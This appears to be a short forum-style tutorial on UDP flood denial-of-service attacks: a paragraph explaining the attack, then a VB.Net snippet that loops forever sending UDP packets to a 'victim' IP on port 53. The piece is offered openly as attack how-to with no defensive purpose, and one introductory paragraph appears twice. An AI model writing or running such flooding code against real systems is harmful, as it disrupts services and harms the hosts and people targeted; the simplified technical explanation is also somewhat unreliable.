A "UDP Attack" is when the attacker floods the victim on a random port (mostly 53) with packets containing UDP datagrams, the host will then search for applications related to the datagrams and will send a "Destination Unreachable" since the packets are just filled with random information. Eventually the victim machine will be overwhelmed and will crash, UDP attacks require a lot of bandwidth on the attacking side and will continue until there is no more bandwidth available, that is why UDP attacks are only successful if many machines participate in it.
Bellow I will leave a code snippet showing an example of a UDP flood coded in VB.Net you can do this in pretty much any language, anyways here is the code and I will be leaving some comments in the code explaining certain lines.
Bellow I will leave a code snippet showing an example of a UDP flood coded in VB.Net you can do this in pretty much any language, anyways here is the code and I will be leaving some comments in the code explaining certain lines.
Example Code:
Imports System.Net
Imports System.Text
Imports System.Net.Sockets
Do
Dim xUDP As New UdpClient
Dim xIP As IPAddress
Dim xConfig As Byte() = New Byte() {}
xIP = IPAddress.Parse("127.0.0.1") 'Victim's IP
xUDP.Connect(xIP, "53") 'Port the attack will be on
xConfig = Encoding.ASCII.GetBytes("@~NULLED~@")
xUDP.Send(xConfig, xConfig.Length)
Loop 'Send packets endlessly until the victim pings out